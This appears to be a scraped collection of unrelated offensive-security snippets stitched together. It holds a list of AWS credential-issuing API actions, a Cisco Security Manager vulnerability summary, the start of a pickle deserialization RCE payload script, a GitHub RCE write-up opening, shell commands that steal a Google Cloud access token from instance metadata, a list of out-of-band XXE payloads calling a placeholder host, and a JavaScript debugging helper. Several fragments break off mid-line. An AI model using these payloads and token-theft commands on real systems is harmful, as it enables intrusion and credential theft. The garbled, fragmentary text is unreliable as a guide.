pnig0s pnigos

chime:createapikey
codepipeline:pollforjobs
cognito-identity:getopenidtoken
cognito-identity:getopenidtokenfordeveloperidentity
cognito-identity:getcredentialsforidentity
connect:getfederationtoken
connect:getfederationtokens
ecr:getauthorizationtoken
[gamelift:requestuploadcredentials](https://docs.aws.amazon.com/gamelift/latest/apireference/API_Re

TLDR

Cisco Security Manager is an enterprise-class security management application that provides insight into and control of Cisco security and network devices. Cisco Security Manager offers comprehensive security management (configuration and event management) across a wide range of Cisco security appliances, including Cisco ASA Adaptive Security Appliances, Cisco IPS Series Sensor Appliances, Cisco Integrated Services Routers (ISRs), Cisco Firewall Services Modules (FWSMs), Cisco Catalyst, Cisco Switches and many more. Cisco Security Manager allows you to manage networks of all sizes efficiently-from small networks to large networks consisting of hundreds of devices.

Several pre-auth vulnerabilities were submitted to Cisco on 2020-07-13 and (according to Cisco) patched in version 4.22 on 2020-11-10. Release notes didn't state anything about the vulnerabilities, security advisories were not published. All payload are processed in the context of NT AUTHORITY\SYSTEM.

	#!/usr/bin/python
	#
	# Pickle deserialization RCE payload.
	# To be invoked with command to execute at it's first parameter.
	# Otherwise, the default one will be used.
	#

	import cPickle
	import sys
	import base64

	GitHub RCE by Environment variable injection Bug Bounty writeup

	Disclaimer: I'll keep this really short but I hope you'll get the key points.

	GitHub blogged a while ago about some internal tool called gerve:
	https://github.com/blog/530-how-we-made-github-fast

	Upon git+sshing to github.com gerve basically looks up your permission
	on the repo you want to interact with. Then it bounces you further in
	another forced SSH session to the back end where the repo actually is.

	# Get temporary access token using Google Cloud instance metadata
	export TOKEN=$(curl -sk -H "Metadata-Flavor: Google" \
	http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token \| \
	jq -r '.access_token')

	# List all repo from Google cloud registry using access token
	curl -u "oauth2accesstoken:$TOKEN" https://eu.gcr.io/v2/_catalog

	# Docker login
	echo $TOKEN \| docker login --username oauth2accesstoken --password-stdin eu.gcr.io

	<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x SYSTEM "http://xxe-doctype-system.yourdomain[.]com/"><x />
	<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x PUBLIC "" "http://xxe-doctype-public.yourdomain[.]com/"><x />
	<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY xxe SYSTEM "http://xxe-entity-system.yourdomain[.]com/">]><x>&xxe;</x>
	<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY xxe PUBLIC "" "http://xxe-entity-public.yourdomain[.]com/">]><x>&xxe;</x>
	<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY % xxe SYSTEM "http://xxe-paramentity-system.yourdomain[.]com/">%xxe;]><x/>
	<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY % xxe PUBLIC "" "http://xxe-paramentity-public.yourdomain[.]com/">%xxe;]><x/>
	<?xml version="1.0" encoding="utf-8" standalone="no" ?><x xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xxe-xsi-schemalocation.y

	function debugAccess(obj, prop, debugGet){

	var origValue = obj[prop];

	Object.defineProperty(obj, prop, {
	get: function () {
	if ( debugGet )
	debugger;
	return origValue;
	},